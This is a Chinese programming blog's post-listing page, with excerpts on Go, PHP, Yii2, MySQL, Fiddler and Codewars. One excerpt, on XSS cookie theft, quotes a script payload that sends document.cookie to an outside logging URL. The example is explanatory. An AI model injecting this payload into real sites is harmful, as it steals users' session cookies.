自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+

特务阿⑦的博客

用于记录个人技术成长

  • 博客(26)
  • 收藏
  • 关注

原创 golang的接口探索

在Go语言中,接口是一种类型。抽象地定义了一组方法签名,但不实现这些方法。接口类型指定了一个值应该有哪些方法,因此,。在 Go 语言的语义上,只要某个类型实现了所定义的一组方法集,则就认为其就是同一种类型,是一个东西。大家常常称其为,因为其与鸭子类型类型的定义相对吻合。。这里引入了两个概念,动态接口类型和动态值。我的理解。

2024-02-29 15:47:54 1121

原创 golang的channel探索

当数据从一个goroutine通过无缓冲channel发送到另一个goroutine时,发送者goroutine会阻塞,直到接收者goroutine接收了数据,这确保了在两个goroutine之间的数据交换是同步的。在Go语言中,有缓冲的channel允许在阻塞发送和接收操作之前存储一个固定数量的值。在Go语言中,无缓冲的channel是一种在发送和接收操作之间同步进行的通道。在上面的代码中,发送操作在另一个goroutine中执行,它会阻塞,直到主goroutine执行接收操作。表示只允许发送的通道,

2024-02-28 15:21:30 1151

原创 golang的反射探索

golang中常见的反射使用探索。

2024-02-27 17:07:43 542

原创 PHP中使用strtotime的坑

虽然说这个问题在工作前两年的时候经常碰到,也都是这么解决的。当时没有记录博客的习惯。今天早上看到鸟哥更新了一篇关于strtotime的博客。那我就直接引用过来好啦。鸟哥博客链接如下:http://www.laruence.com/2018/07/31/3207.html看完这个,我确定我之前使用的确实没问题。一下子不慌了。以前只要是涉及这个函数的地方,我都万分小心。 ...

2018-08-06 10:39:26 3878

原创 记一次安装emacs的过程

安装环境:cat /etc/redhat-release CentOS Linux release 7.4.1708 (Core)1、从gnu官网下载最新的压缩包。(官方地址http://ftp.gnu.org/gnu/emacs/)当前最新版本是:emacs-26.1.tar.gz2、放到自己的home目录下,进行解压缩。tar -xzvf emacs-26.1.tar.gz3、解压缩完成,进入...

2018-06-27 15:59:26 3567

原创 fidder抓取工具使用过程的坑

如何使用fidder拦截手机的请求?手机和电脑连接同一个局域网络后,iphone通过启动safari浏览器访问 http://<IP>:8888,回车进入Fiddler的证书安装页面IP就是电脑的局域网ip地址点击 FiddlerRoot certificate,进行证书安装最后安装的证书如果需要认证,否则无法使用,ios设置证书认证:设置-->通用--->描述文件与设备管...

2018-06-26 15:47:53 709

转载 《转载》关于dataTale的使用方法

转载链接:http://www.cnblogs.com/zhoujie/p/js3.html

2018-04-02 13:47:49 411

原创 ssh登录图示

公钥和私钥:一个公钥对应一个私钥。 密钥对中,让大家都知道的是公钥,不告诉大家,只有自己知道的,是私钥。 如果用其中一个密钥加密数据,则只有对应的那个密钥才可以解密。 如果用其中一个密钥可以进行解密数据,则该数据必然是对应的那个密钥进行的加密。1、加密:公钥加密私钥解密 2、认证:私钥加密公钥解密 主要用于身份验证,判断某个身份的真实性。使用私钥加密之后,用对应的公钥解密从而验证身

2017-12-19 16:17:32 233

原创 关于js中获得某一天的昨天以及上周一天的日期使用问题

last_day = yester_day = cur_day = new Date(date);last_day.setTime(last_day.getTime()-7*24*60*60*1000);yester_day.setTime(yester_day.getTime()-24*60*60*1000);cur_day.setTime(cur_day.getTime());console

2017-10-23 17:20:46 646

原创 yii框架中使用phpexcel得到的excel文件作为附件发送

1、使用mail:Yii::$app->mailer->compose() ->setTo($this->send_to) ->setSubject($this->subject) ->attachContent($this->attach_file, ['fileName' => $this->attach_file_nam

2017-09-21 18:06:36 629

原创 关于yii2框架中内存泄漏的解决方案

现象描述: 命令行执行一个7万行的脚本,循环里进行各种查询。结果每次都会报出内存溢出的错误,类似于这样: 第 475 次,消耗内存 312.68MB第 476 次,消耗内存 313.22MB第 477 次,消耗内存 313.79MB。还是报错。内存溢出。Allowed memory size of 402653184 bytes exhausted (tried to allocate 8388

2017-09-07 20:53:44 3165 5

转载 定时器系列-被誉为神器的requestAnimationFrame

这里我需要引用下原作者的文章。http://www.cnblogs.com/xiaohuochai/p/5777186.html   大多数电脑显示器的刷新频率是60Hz,大概相当于每秒钟重绘60次。大多数浏览器都会对重绘操作加以限制,不超过显示器的重绘频率,因为即使超过那个频率用户体验也不会有提升。因此,最平滑动画的最佳循环间隔是1000ms/60,约等于16.6ms  而setTimeou

2017-08-31 17:35:45 413

转载 web中的高并发

并发的问题,我们具体该关心什么?讲真话,高并发是个比较抽象的概念。很难有一个统一的可衡量的标准。哪么有一些其它维度的标准指标来衡量系统的性能吗?搬出以前计算机课程里边的一些指标来跟大家聊聊。先声明几个概念,别打瞌睡。QPS(TPS):每秒钟 request/事务 数量,在互联网领域,指每秒响应请求数(指http请求);吞吐量:单位时间内处理的请求数量(通常由QPS与并发数决定);响应时间:系统对

2017-08-29 17:36:55 302

原创 label的扩大点击范围影响到了监听事件

如图所示。本来的目的是点击“全部游戏包”的时候,下面所有的游戏包都被选中。但是会发现,上面大区域里的空白地方也可以点击,使得所有checkbox选中或者取消全选。这个原因我查了几个小时、冒泡呀,click事件的写法啊(因为这个的所有checkbox是后来才使用js动态加载上的,使用jq的click事件是监听不到或者是有问题的,所以怀疑写法不对,事实证明这里没有问题),总之所有自己可以想到的可能

2017-08-29 10:08:19 1345

原创 mysql中按照季度、月份等分组

mysql中关于分组的使用select DATE_FORMAT(create_time,'%Y%u') weeks,count(caseid) count from tc_case group by weeks; select DATE_FORMAT(create_time,'%Y%m%d') days,count(caseid) count from tc_case group by days

2017-08-21 15:06:12 32279 3

原创 xss攻击之窃取用户cookie

引用链接:https://blog.fundebug.com/2017/08/16/xss_steal_cookie/下面的的JavaScript代码就可以窃取Cookie,是不是很简单?<script>new Image().src="http://jehiah.com/_sandbox/log.cgi?c="+encodeURI(document.cookie);</script>在IE浏

2017-08-18 16:50:59 715

原创 datatable结合php使用(yii2)

1、官网地址:http://datatables.club/example/server_side/simple.htmlhttp://datatables.club/example/diy.html2、基本常用设置:前端设置:$this->registerJs("$(function() { var times = false;//防止多次回调显示重复 $('#exa

2017-08-17 16:16:46 3290 1

原创 phpexcel中PHPExcel_Exception Invalid cell coordinate [1解决办法

1、当导出的首行字段超过26的字符的时候,就会报出错误,错误信息如下: PHPExcel_Exception Invalid cell coordinate [1 原因: 这个不是条数多了出问题,而是列超过26列出的问题。 仔细看看excel表格,z后面是AA、AB、AC,因此输出的时候需要判断。 解决办法:public function actionExcel(){ /**

2017-08-17 16:14:37 9739

原创 php中获得中国式的周的日期方式

php中有的时候想获取某周的开始和结束日期,不是很方便,于是自己收拾了一套。 /** * 日期转换成中国式的周一和周日,num=-1默认返回本周周一和周日的日期 * 0表示上周 1表示上上周 * -2表示下周 -3表示下下周 * 以此类推 */ public static function dealDate($num = -1)

2017-08-15 15:05:08 198

原创 好玩的线上检测代码工具-codewars(5)

Compare two strings by comparing the sum of their values (ASCII character code). For comparing treat all letters as UpperCase.Null-Strings should be treated as if they are empty strings. If the strin

2017-08-14 17:59:50 655

原创 好玩的线上检测代码工具-codewars(4)

You are going to be given a word. Your job is to return the middle character of the word. If the word’s length is odd, return the middle character. If the word’s length is even, return the middle 2 cha

2017-08-14 16:52:14 418

原创 好玩的线上检测代码工具-codewars(3)

Complete the solution so that it splits the string into pairs of two characters. If the string contains an odd number of characters then it should replace the missing second character of the final pair

2017-08-14 16:38:31 437

原创 好玩的线上检测代码工具-codewars(2)

【好玩的coderwars-第二个练习】 You are given an array strarr of strings and an integer k. Your task is to return the first longest string consisting of k consecutive strings taken in the array.Example: longest_

2017-08-14 16:26:17 554

原创 好玩的线上检测代码工具-codewars(1)

检测环境: http://www.codewars.com 基本描述:Task:Your task is to write a function which returns the sum of following series upto nth term(parameter).Series: 1 + 1/4 + 1/7 + 1/10 + 1/13 + 1/16 +…Rules:You need

2017-08-14 15:54:41 691

转载 GitHub 万星推荐:黑客成长技术清单

https://github.com/Hack-with-Github/Awesome-Hacking 附上地址 “Awesome Hacking”是一个黑客技术清单项目,里边索引了数十个不同方向的技能图谱。大家都知道,GitHub上这类项目非常容易集星(Star),“Awesome Hacking”刚刚突破一万星(这一轮推荐里大概涨了两千星),已经进入安全领域最受关注的GitHub项目阵营

2017-08-10 16:46:04 447

原创 多数组合并,键值既有字母又有数字时,如何统一为字母键值?

多数组合并中,键值既有字符又有数字合并时,如何统一为字符键值?$arr1 = [ 'appstore' => 'appstore', 'xiaoqi' => 'xiaoqi', 'xiaoba' => 'xiaoba',];$arr2 = [ 4399 => '4399',];如果这两数组要进行合并,希望得到的结果是$

2017-08-07 15:00:53 664 1

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除